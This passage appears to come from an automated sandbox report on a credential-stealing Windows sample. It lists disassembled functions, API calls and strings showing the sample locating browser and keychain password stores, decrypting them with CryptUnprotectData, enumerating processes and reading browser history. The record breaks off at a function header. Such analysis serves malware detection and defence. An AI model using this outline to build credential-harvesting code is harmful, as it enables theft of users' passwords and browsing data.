                                                                                                                                                                  control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 44 44558e-445594 call 444b06 4->44 45 44557e-445580 call 4136c0 4->45 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 37 445823-445826 14->37 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 49 445879-44587c 18->49 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 82 445685 21->82 83 4456b2-4456b5 call 40b1ab 21->83 31 445605-445607 22->31 32 445603 22->32 29 4459f2-4459fa 23->29 30 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->30 132 44592d-445945 call 40b6ef 24->132 133 44594a 24->133 39 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 29->39 40 445b29-445b32 29->40 151 4459d0-4459e8 call 40b6ef 30->151 152 4459ed 30->152 31->21 43 445609-44560d 31->43 32->31 50 44584c-445854 call 40b1ab 37->50 51 445828 37->51 181 445b08-445b15 call 40ae51 39->181 52 445c7c-445c85 40->52 53 445b38-445b96 memset * 3 40->53 43->21 47 44560f-445641 call 4087b3 call 40a889 call 4454bf 43->47 44->3 63 445585-44558c call 41366b 45->63 148 445665-445670 call 40b1ab 47->148 149 445643-445663 call 40a9b5 call 4087b3 47->149 64 4458a2-4458aa call 40b1ab 49->64 65 44587e 49->65 50->13 66 44582e-445847 call 40a9b5 call 4087b3 51->66 59 445d1c-445d25 52->59 60 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 52->60 67 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 53->67 68 445b98-445ba0 53->68 87 445fae-445fb2 59->87 88 445d2b-445d3b 59->88 167 445cf5 60->167 168 445cfc-445d03 60->168 63->44 64->19 80 445884-44589d call 40a9b5 call 4087b3 65->80 135 445849 66->135 247 445c77 67->247 68->67 81 445ba2-445bcf call 4099c6 call 445403 call 445389 68->81 154 44589f 80->154 81->52 97 44568b-4456a4 call 40a9b5 call 4087b3 82->97 114 4456ba-4456c4 83->114 102 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 88->102 103 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 88->103 156 4456a9-4456b0 97->156 161 445d67-445d6c 102->161 162 445d71-445d83 call 445093 102->162 196 445e17 103->196 197 445e1e-445e25 103->197 128 4457f9 114->128 129 4456ca-4456d3 call 413cfa call 413d4c 114->129 128->6 172 4456d8-4456f7 call 40b2cc call 413fa6 129->172 132->133 133->23 135->50 148->114 149->148 151->152 152->29 154->64 156->83 156->97 174 445fa1-445fa9 call 40b6ef 161->174 162->87 167->168 179 445d05-445d13 168->179 180 445d17 168->180 205 4456fd-445796 memset * 4 call 409c70 * 3 172->205 206 4457ea-4457f7 call 413d29 172->206 174->87 179->180 180->59 200 445b17-445b27 call 40aebe 181->200 201 445aa3-445ab0 call 40add4 181->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->40 201->181 218 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->218 242 445e62-445e69 202->242 243 445e5b 202->243 223 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->223 205->206 246 445798-4457ca call 40b2cc call 409d1f call 409b98 205->246 206->10 218->181 223->87 255 445f9b 223->255 242->203 248 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 242->248 243->242 246->206 265 4457cc-4457e5 call 4087b3 246->265 247->52 264 445f4d-445f5a call 40ae51 248->264 255->174 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->206 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->223 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004455C2
                                                                                                                                                                  • wcsrchr.MSVCRT ref: 004455DA
                                                                                                                                                                  • memset.MSVCRT ref: 0044570D
                                                                                                                                                                  • memset.MSVCRT ref: 00445725
                                                                                                                                                                    • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                                                    • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                                                                                                    • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                                                                                                    • Part of subcall function 0040BDB0: wcsncmp.MSVCRT ref: 0040BE38
                                                                                                                                                                    • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                                                                                                    • Part of subcall function 0040BDB0: memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                                                                                                    • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000,000000F1,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 0041362A
                                                                                                                                                                  • memset.MSVCRT ref: 0044573D
                                                                                                                                                                  • memset.MSVCRT ref: 00445755
                                                                                                                                                                  • memset.MSVCRT ref: 004458CB
                                                                                                                                                                  • memset.MSVCRT ref: 004458E3
                                                                                                                                                                  • memset.MSVCRT ref: 0044596E
                                                                                                                                                                  • memset.MSVCRT ref: 00445A10
                                                                                                                                                                  • memset.MSVCRT ref: 00445A28
                                                                                                                                                                  • memset.MSVCRT ref: 00445AC6
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                                                                    • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                                                                    • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                                                                                                    • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                                                                                                    • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000), ref: 004450F7
                                                                                                                                                                  • memset.MSVCRT ref: 00445B52
                                                                                                                                                                  • memset.MSVCRT ref: 00445B6A
                                                                                                                                                                  • memset.MSVCRT ref: 00445C9B
                                                                                                                                                                  • memset.MSVCRT ref: 00445CB3
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00445D56
                                                                                                                                                                  • memset.MSVCRT ref: 00445B82
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                                                    • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                    • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                    • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                                                                                                    • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                                                                                                  • memset.MSVCRT ref: 00445986
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateFolderHandlePathProcSizeSpecial_wcsicmp_wcslwrmemcpywcscatwcscpywcsncmp
                                                                                                                                                                  • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                                                                                                  • API String ID: 4101496090-3798722523
                                                                                                                                                                  • Opcode ID: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                                                                                                                                                                  • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                                                                                                  • Opcode Fuzzy Hash: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                                                                                                                                                                  • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                                                                                                  Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                                                                                                    • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                                                                                                    • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                                                                                                    • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                                                                                                  • SetErrorMode.KERNELBASE(00008001), ref: 00412799
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                                                                                                                                                                  • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                                                                                                  • String ID: $/deleteregkey$/savelangfile
                                                                                                                                                                  • API String ID: 2744995895-28296030
                                                                                                                                                                  • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                                                                  • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                                                                                                  • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                                                                                                  • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                                                                                                  Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040B71C
                                                                                                                                                                    • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                                                                                                    • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                                                                                                  • wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                  • memset.MSVCRT ref: 0040B756
                                                                                                                                                                  • memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                  • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                  • CopyFileW.KERNEL32(00445FAE,?,00000000), ref: 0040B82D
                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 0040B838
                                                                                                                                                                  • memset.MSVCRT ref: 0040B851
                                                                                                                                                                  • memset.MSVCRT ref: 0040B8CA
                                                                                                                                                                  • memcmp.MSVCRT ref: 0040B9BF
                                                                                                                                                                    • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                    • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                    • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                                                                                                  • memset.MSVCRT ref: 0040BB53
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 0040BB66
                                                                                                                                                                  • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$File$Freewcsrchr$AddressCloseCopyCreateCryptDataDeleteHandleLibraryLocalProcUnprotectmemcmpmemcpywcscpy
                                                                                                                                                                  • String ID: chp$v10
                                                                                                                                                                  • API String ID: 1297422669-2783969131
                                                                                                                                                                  • Opcode ID: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                                                                                                                                                                  • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                                                                                                  • Opcode Fuzzy Hash: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                                                                                                                                                                  • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                                                                                                  Function 00413D4C Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413D6A
                                                                                                                                                                  • memset.MSVCRT ref: 00413D7F
                                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                                                                                                  • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                                                                                                  • memset.MSVCRT ref: 00413E07
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                                                                                                  • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104,00000000,?), ref: 00413E77
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 00413EA8
                                                                                                                                                                  • free.MSVCRT ref: 00413EC1
                                                                                                                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00413F1A
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Handle$CloseProcessProcess32freememset$AddressCreateFirstFullImageModuleNameNextOpenProcQuerySnapshotToolhelp32
                                                                                                                                                                  • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                                                                                                  • API String ID: 3536422406-1740548384
                                                                                                                                                                  • Opcode ID: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                                                                  • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                                                                                                  • Opcode Fuzzy Hash: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                                                                                                  • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                                                                                                  Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                                                                                                    • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040DDD4
                                                                                                                                                                    • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                                                                    • Part of subcall function 0040DD85: CloseHandle.KERNELBASE(C0000004), ref: 0040DE3E
                                                                                                                                                                    • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                                                                    • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                  • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                                                                  • DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                                                                                                                                                                  • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                                                    • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                                                                                                                                                                    • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                                                                    • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                                                                    • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                  • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                                                                  • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                                                                  • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                                                                  • UnmapViewOfFile.KERNELBASE(00000000), ref: 0040E135
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                                                                                                  • String ID: bhv
                                                                                                                                                                  • API String ID: 4234240956-2689659898
                                                                                                                                                                  • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                                                                  • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                                                                                                  • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                                                                  • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                                                                                                  Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 560 413f4f-413f52 561 413fa5 560->561 562 413f54-413f5a call 40a804 560->562 564 413f5f-413fa4 GetProcAddress * 5 562->564 564->561
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,psapi.dll,00000000,00413F2F,00000000,00413E1F,00000000,?), ref: 00413F6F
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                                                                  • API String ID: 2941347001-70141382
                                                                                                                                                                  • Opcode ID: 5f55386481140187343ab1ab8adea668b022a311609f89b9ad52cbba2c200a76
                                                                                                                                                                  • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                                                                                                  • Opcode Fuzzy Hash: 5f55386481140187343ab1ab8adea668b022a311609f89b9ad52cbba2c200a76
                                                                                                                                                                  • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                                                                                                  Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 565 4466f4-44670e call 446904 GetModuleHandleA 568 446710-44671b 565->568 569 44672f-446732 565->569 568->569 570 44671d-446726 568->570 571 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 569->571 573 446747-44674b 570->573 574 446728-44672d 570->574 578 4467ac-4467b7 __setusermatherr 571->578 579 4467b8-44680e call 4468f0 _initterm GetEnvironmentStringsW _initterm 571->579 573->569 577 44674d-44674f 573->577 574->569 576 446734-44673b 574->576 576->569 580 44673d-446745 576->580 581 446755-446758 577->581 578->579 584 446810-446819 579->584 585 44681e-446825 579->585 580->581 581->571 586 4468d8-4468dd call 44693d 584->586 587 446827-446832 585->587 588 44686c-446870 585->588 591 446834-446838 587->591 592 44683a-44683e 587->592 589 446845-44684b 588->589 590 446872-446877 588->590 596 446853-446864 GetStartupInfoW 589->596 597 44684d-446851 589->597 590->588 591->587 591->592 592->589 594 446840-446842 592->594 594->589 598 446866-44686a 596->598 599 446879-44687b 596->599 597->594 597->596 600 44687c-446894 GetModuleHandleA call 41276d 598->600 599->600 603 446896-446897 exit 600->603 604 44689d-4468d6 _cexit 600->604 603->604 604->586
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HandleModule_initterm$EnvironmentInfoStartupStrings__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2791496988-0
                                                                                                                                                                  • Opcode ID: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                                                                                                                                                                  • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                                                                                                                                                                  • Opcode Fuzzy Hash: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                                                                                                                                                                  • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                                                                                                                                                                  Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040C298
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                                                                                                    • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                  • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040C324
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040C344
                                                                                                                                                                  • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040C373
                                                                                                                                                                  • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                                                                                                  • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                                                                                                                                                                  • String ID: visited:
                                                                                                                                                                  • API String ID: 2470578098-1702587658
                                                                                                                                                                  • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                                                                  • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                                                                                                  • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                                                                  • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                                                                                                  Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
